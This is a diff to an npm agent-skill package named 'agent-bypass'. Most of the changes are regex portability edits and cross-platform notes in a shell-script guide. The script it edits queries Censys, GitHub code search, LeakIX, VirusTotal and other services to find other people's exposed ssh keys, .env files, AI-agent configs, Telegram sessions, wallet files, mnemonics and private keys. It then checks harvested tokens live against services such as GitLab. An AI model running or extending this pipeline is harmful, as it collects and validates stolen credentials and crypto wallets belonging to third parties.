- [ -z "$CENSYS_SECRET" ] && CENSYS_SECRET=$(rg -m1 -N '^\s*censys_secret\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*censys_secret\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
781
- [ -z "$CENSYS_SECRET" ] && CENSYS_SECRET=$(grep -m1 -E '^\s*censys_secret\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*censys_secret\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
782
- [ -z "$CENSYS_ID" ] && CENSYS_ID=$(grep -m1 -E '^\s*censys_id\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*censys_id\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
780
+ [ -z "$CENSYS_SECRET" ] && CENSYS_SECRET=$(rg -m1 -N '^\s*censys_secret\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*censys_secret[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
781
+ [ -z "$CENSYS_SECRET" ] && CENSYS_SECRET=$(grep -m1 -E '^[[:space:]]*censys_secret[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*censys_secret[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
782
+ [ -z "$CENSYS_ID" ] && CENSYS_ID=$(grep -m1 -E '^[[:space:]]*censys_id[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*censys_id[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
783
783
  if [ -z "$CENSYS_ID" ] || [ -z "$CENSYS_SECRET" ]; then echo "[CENSYS] 未配置 censys_id/secret,跳过"; else
784
784
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
785
785
  case $TOOL in
@@ -847,8 +847,8 @@ fi
847
847
  # API: GET https://api.github.com/search/code?q=filename:.env+{target}&per_page=100 Header: Authorization: Bearer ghp_xxx
848
848
  # 文档: https://docs.github.com/en/rest/search/search#search-code 限速: 10/min, 需认证
849
849
  [ -z "$GITHUB_TOKEN" ] && GITHUB_TOKEN=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('github','') or os.environ.get('GITHUB_TOKEN','') or os.environ.get('GH_TOKEN',''))" 2>/dev/null | tr -d ' \r\n')
850
- [ -z "$GITHUB_TOKEN" ] && GITHUB_TOKEN=$(rg -m1 -N '^\s*github\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*github\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
851
- [ -z "$GITHUB_TOKEN" ] && GITHUB_TOKEN=$(grep -m1 -E '^\s*github\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*github\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
850
+ [ -z "$GITHUB_TOKEN" ] && GITHUB_TOKEN=$(rg -m1 -N '^\s*github\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*github[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
851
+ [ -z "$GITHUB_TOKEN" ] && GITHUB_TOKEN=$(grep -m1 -E '^[[:space:]]*github[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*github[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
852
852
  if [ -z "$GITHUB_TOKEN" ]; then echo "[GITHUB] 未配置 github token,跳过"; else
853
853
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
854
854
  case $TOOL in
@@ -887,8 +887,8 @@ fi
887
887
  # API: GET https://api.binaryedge.io/v2/query/search?query=...&page=1 Header: X-Key
888
888
  # 文档: https://docs.binaryedge.io/api-v2/#v2querysearch 限额 250/mo 免费
889
889
  [ -z "$BINARYEDGE_KEY" ] && BINARYEDGE_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('binaryedge','') or os.environ.get('BINARYEDGE_KEY',''))" 2>/dev/null | tr -d ' \r\n')
890
- [ -z "$BINARYEDGE_KEY" ] && BINARYEDGE_KEY=$(rg -m1 -N '^\s*binaryedge\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*binaryedge\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
891
- [ -z "$BINARYEDGE_KEY" ] && BINARYEDGE_KEY=$(grep -m1 -E '^\s*binaryedge\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*binaryedge\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
890
+ [ -z "$BINARYEDGE_KEY" ] && BINARYEDGE_KEY=$(rg -m1 -N '^\s*binaryedge\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*binaryedge[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
891
+ [ -z "$BINARYEDGE_KEY" ] && BINARYEDGE_KEY=$(grep -m1 -E '^[[:space:]]*binaryedge[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*binaryedge[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
892
892
  if [ -z "$BINARYEDGE_KEY" ]; then echo "[BINARYEDGE] 未配置 binaryedge key,跳过"; else
893
893
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
894
894
  case $TOOL in
@@ -948,8 +948,8 @@ fi
948
948
  # API: GET https://leakix.net/search?scope=leak&q=plugin:DirectoryListingPlugin Header: api-key
949
949
  # 文档: https://leakix.net/api 免费 1000/天,需免费注册 key(匿名已关,2026-09 起直接 401)
950
950
  [ -z "$LEAKIX_KEY" ] && LEAKIX_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('leakix','') or os.environ.get('LEAKIX_API_KEY',''))" 2>/dev/null | tr -d ' \r\n')
951
- [ -z "$LEAKIX_KEY" ] && LEAKIX_KEY=$(rg -m1 -N '^\s*leakix\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*leakix\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
952
- [ -z "$LEAKIX_KEY" ] && LEAKIX_KEY=$(grep -m1 -E '^\s*leakix\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*leakix\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
951
+ [ -z "$LEAKIX_KEY" ] && LEAKIX_KEY=$(rg -m1 -N '^\s*leakix\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*leakix[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
952
+ [ -z "$LEAKIX_KEY" ] && LEAKIX_KEY=$(grep -m1 -E '^[[:space:]]*leakix[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*leakix[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
953
953
  # LeakIX 需 key(匿名会 401),无 key 直接跳过
954
954
  LEAKIX_SKIP=0
955
955
  if [ -z "$LEAKIX_KEY" ]; then echo " [skip] LeakIX 无 key(匿名已关闭,会 401)"; LEAKIX_SKIP=1; fi
@@ -1083,8 +1083,8 @@ PYEOF
1083
1083
 
1084
1084
  # ---------- 1.9d PublicWWW 网页源码泄露检索(freemium,21 目标) ----------
1085
1085
  [ -z "$PUBLICWWW_KEY" ] && PUBLICWWW_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('publicwww','') or os.environ.get('PUBLICWWW_KEY',''))" 2>/dev/null | tr -d ' \r\n')
1086
- [ -z "$PUBLICWWW_KEY" ] && PUBLICWWW_KEY=$(rg -m1 -N '^\s*publicwww\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*publicwww\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1087
- [ -z "$PUBLICWWW_KEY" ] && PUBLICWWW_KEY=$(grep -m1 -E '^\s*publicwww\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*publicwww\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1086
+ [ -z "$PUBLICWWW_KEY" ] && PUBLICWWW_KEY=$(rg -m1 -N '^\s*publicwww\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*publicwww[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1087
+ [ -z "$PUBLICWWW_KEY" ] && PUBLICWWW_KEY=$(grep -m1 -E '^[[:space:]]*publicwww[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*publicwww[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1088
1088
  if [ -n "$PUBLICWWW_KEY" ]; then
1089
1089
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
1090
1090
  BODY=$(tool_body "$TOOL")
@@ -1101,8 +1101,8 @@ fi
1101
1101
 
1102
1102
  # ---------- 1.9e VirusTotal Intelligence URL 检索(付费 Key,21 目标) ----------
1103
1103
  [ -z "$VT_KEY" ] && VT_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('virustotal','') or os.environ.get('VT_APIKEY','') or os.environ.get('VIRUSTOTAL_KEY',''))" 2>/dev/null | tr -d ' \r\n')
1104
- [ -z "$VT_KEY" ] && VT_KEY=$(rg -m1 -N '^\s*virustotal\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*virustotal\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1105
- [ -z "$VT_KEY" ] && VT_KEY=$(grep -m1 -E '^\s*virustotal\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*virustotal\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1104
+ [ -z "$VT_KEY" ] && VT_KEY=$(rg -m1 -N '^\s*virustotal\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*virustotal[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1105
+ [ -z "$VT_KEY" ] && VT_KEY=$(grep -m1 -E '^[[:space:]]*virustotal[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*virustotal[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1106
1106
  if [ -n "$VT_KEY" ]; then
1107
1107
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
1108
1108
  BODY=$(tool_body "$TOOL")
@@ -1133,8 +1133,8 @@ fi
1133
1133
 
1134
1134
  # ---------- 1.9f OTX 域名 URL 清单(免费,输入 hunt/targets.txt) ----------
1135
1135
  [ -z "$OTX_KEY" ] && OTX_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('otx','') or os.environ.get('OTX_KEY',''))" 2>/dev/null | tr -d ' \r\n')
1136
- [ -z "$OTX_KEY" ] && OTX_KEY=$(rg -m1 -N '^\s*otx\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*otx\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1137
- [ -z "$OTX_KEY" ] && OTX_KEY=$(grep -m1 -E '^\s*otx\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*otx\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1136
+ [ -z "$OTX_KEY" ] && OTX_KEY=$(rg -m1 -N '^\s*otx\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*otx[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1137
+ [ -z "$OTX_KEY" ] && OTX_KEY=$(grep -m1 -E '^[[:space:]]*otx[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*otx[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1138
1138
  while read -r DOMAIN; do
1139
1139
  [ -z "$DOMAIN" ] && continue
1140
1140
  FN="hunt/csv/root_$(echo "$DOMAIN" | tr '.' '_')_otx.json"
@@ -1147,8 +1147,8 @@ done < hunt/targets.txt
1147
1147
 
1148
1148
  # ---------- 1.9g ThreatBook 资产测绘(国内覆盖补充,端点以官方文档为准 https://x.threatbook.com) ----------
1149
1149
  [ -z "$THREATBOOK_KEY" ] && THREATBOOK_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('threatbook','') or os.environ.get('THREATBOOK_KEY',''))" 2>/dev/null | tr -d ' \r\n')
1150
- [ -z "$THREATBOOK_KEY" ] && THREATBOOK_KEY=$(rg -m1 -N '^\s*threatbook\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*threatbook\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1151
- [ -z "$THREATBOOK_KEY" ] && THREATBOOK_KEY=$(grep -m1 -E '^\s*threatbook\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*threatbook\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1150
+ [ -z "$THREATBOOK_KEY" ] && THREATBOOK_KEY=$(rg -m1 -N '^\s*threatbook\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*threatbook[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1151
+ [ -z "$THREATBOOK_KEY" ] && THREATBOOK_KEY=$(grep -m1 -E '^[[:space:]]*threatbook[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*threatbook[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1152
1152
  if [ -n "$THREATBOOK_KEY" ]; then
1153
1153
  while read -r DOMAIN; do
1154
1154
  [ -z "$DOMAIN" ] && continue
@@ -1405,7 +1405,13 @@ PYEOF
1405
1405
  cat /tmp/unique_urls.txt
1406
1406
  ```
1407
1407
 
1408
- > **Windows 执行注意**:上述脚本按 Linux 编写(`/tmp`、`base64 -w0`、`grep -oP`、`xargs -P`)。Windows git-bash 下 `/tmp` 映射到用户临时目录(可用 `echo $TMP` 确认),`grep -oP` 不可用需换 `grep -oE` 或 sed;`xargs -P` 并行可用但注意引号转义。优先在 WSL / Linux 环境跑。
1408
+ > **跨平台执行注意**:脚本主要按 Linux 编写(`/tmp`、`timeout`、`base64 -w0`、`xargs -P`)。
1409
+ > - **Linux / WSL**:直接跑。
1410
+ > - **macOS**:BSD 工具差异——本文档 sed/grep 已统一用 POSIX 字符类(`[[:space:]]`,不依赖 `\s`);`base64 -w0` 换 `base64 | tr -d '\n'`;`timeout` 需 `brew install coreutils`(用 `gtimeout`);rg 装 `brew install ripgrep`。
1411
+ > - **Windows git-bash**:`/tmp` 映射用户临时目录(`echo $TMP` 确认);`grep -oP` 不可用换 `rg -o`;python3 读写文件需 `encoding="utf-8"`(GBK 默认会烂码);长任务 `taskkill /F /T` 连树杀。优先 WSL。
1412
+ > - **iSH(Alpine/BusyBox)**:`apk add ripgrep`;busybox sed/grep 全兼容本文档写法。
1413
+ > - **安卓沙箱(Termux)**:`pkg install ripgrep coreutils`;其余同 Linux。
1414
+ > 本文档所有 sed/grep 表达式按 POSIX 编写,GNU/BSD/BusyBox 通吃;rg 模式保留 `\s`(rg 各平台原生支持)。
1409
1415
 
1410
1416
  ### Step 2.2: 深度去重与归一化(10源聚合核心)
1411
1417
 
@@ -1460,8 +1466,8 @@ echo "原始: $(wc -l < /tmp/all_urls.txt) URL去重: $(wc -l < /tmp/unique_url
1460
1466
  > /tmp/greynoise_enrich.json
1461
1467
  # 从去重后 URL 提取 IP,批量富化(无 Key 时 10 次/天,有 Key 不限)
1462
1468
  [ -z "$GREYNOISE_KEY" ] && GREYNOISE_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('greynoise','') or os.environ.get('GREYNOISE_KEY',''))" 2>/dev/null | tr -d ' \r\n')
1463
- [ -z "$GREYNOISE_KEY" ] && GREYNOISE_KEY=$(rg -m1 -N '^\s*greynoise\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*greynoise\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1464
- [ -z "$GREYNOISE_KEY" ] && GREYNOISE_KEY=$(grep -m1 -E '^\s*greynoise\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*greynoise\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1469
+ [ -z "$GREYNOISE_KEY" ] && GREYNOISE_KEY=$(rg -m1 -N '^\s*greynoise\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*greynoise[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1470
+ [ -z "$GREYNOISE_KEY" ] && GREYNOISE_KEY=$(grep -m1 -E '^[[:space:]]*greynoise[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*greynoise[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
1465
1471
  cut -d/ -f3 /tmp/unique_hosts.txt 2>/dev/null | cut -d: -f1 | rg -N '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$' | sort -u | head -20 | while read IP; do
1466
1472
  if [ -n "$GREYNOISE_KEY" ]; then
1467
1473
  RESP=$(curl -s --max-time 8 -H "key: ${GREYNOISE_KEY}" "https://api.greynoise.io/v3/ip/${IP}" 2>/dev/null)
@@ -2323,7 +2329,7 @@ rg --no-filename -o "(glpat-[A-Za-z0-9_-]{20,}|gldt-[A-Za-z0-9_-]{20,}|ghp_[A-Za
2323
2329
  # v4.1 修复:溯源到来源 URL(原实现取 basename 文件名,报告里无法溯源到站点)
2324
2330
  src=$(rg --no-filename "$token" /tmp/cred_files.txt /tmp/cred_verified.txt /tmp/tg_wallet_files.txt 2>/dev/null \
2325
2331
  | rg -o "https?://[^|]+" | head -1)
2326
- [ -z "$src" ] && src=$(rg -l "$token" /tmp/cred_files.txt /tmp/cred_verified.txt /tmp/tg_wallet_files.txt 2>/dev/null | head -1 | xargs -r basename)
2332
+ [ -z "$src" ] && src=$(rg -l "$token" /tmp/cred_files.txt /tmp/cred_verified.txt /tmp/tg_wallet_files.txt 2>/dev/null | head -1 | sed 's|.*/||')
2327
2333
  case "$token" in
2328
2334
  glpat-*)
2329
2335
  RESP=$(curl -s --max-time 10 -H "PRIVATE-TOKEN: $token" "https://gitlab.com/api/v4/user" 2>/dev/null)
@@ -2523,4 +2529,4 @@ done < /tmp/pat_verified.txt 2>/dev/null || true
2523
2529
  17. **v4 分页是覆盖率关键**:v3 每次 500 条,git/ssh 类只覆盖 3-5%;v4 分页拉满后 git 500→10000、ssh 500→10000(FOFA 单查询硬上限),URL 池 4717→32437(6.9 倍)。fields 含 header 时 size 上限 2000;同一查询最多返回 10000 条,超出需拆条件。
2524
2530
  18. **验证循环必须并发 + 重试**:v3 串行 159 个 key 耗时 400s+,网络抖动直接标 unknown(39 个假阴性);v4 用 xargs -P 8 并发 + unknown/failed 重试一轮,时间降到 1/8 且结果更准。
2525
2531
  19. **.DS_Store 是目录清单泄露源**:macOS 索引文件可泄露目录内文件清单,FOFA 命中 2292 条,配合开放目录可发现隐藏配置/备份文件。
2526
- 20. **Windows 执行注意**:脚本按 Linux 编写(/tmp、base64 -w0、grep -oE、xargs -P),Windows git-bash 下 /tmp 映射到用户 Temp 目录,python3 读文件需指定 encoding="utf-8"(GBK 默认会解码失败);长任务用 nohup + PID 文件,停止时 taskkill /F /T 连树杀(pkill 按名字会漏 xargs/curl 子进程)。
2532
+ 20. **跨平台执行注意**:脚本按 Linux 编写(/tmp、base64 -w0、xargs -P、timeout)。macOS:`base64 -w0`→`base64 | tr -d '\n'`、`timeout`→`gtimeout`(brew coreutils)、rg 用 brew 装;Windows git-bash:/tmp 映射用户 Temp、python 读文件指定 encoding="utf-8"(GBK 默认会烂码)、长任务 taskkill /F /T 连树杀;iSH:apk add ripgrep;Termux:pkg install ripgrep coreutils。优先 WSL 或 Linux。
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "agent-bypass",
3
- "version": "2.13.5",
3
+ "version": "2.13.6",
4
4
  "description": "Cknb 全能技术操作员 — Agent Skills 技能包(默认安装 Pi / OpenCode;Claude Code / Grok / OpenMinis 显式指定)",
5
5
  "bin": {
6
6
  "agent-bypass": "bin/install.js"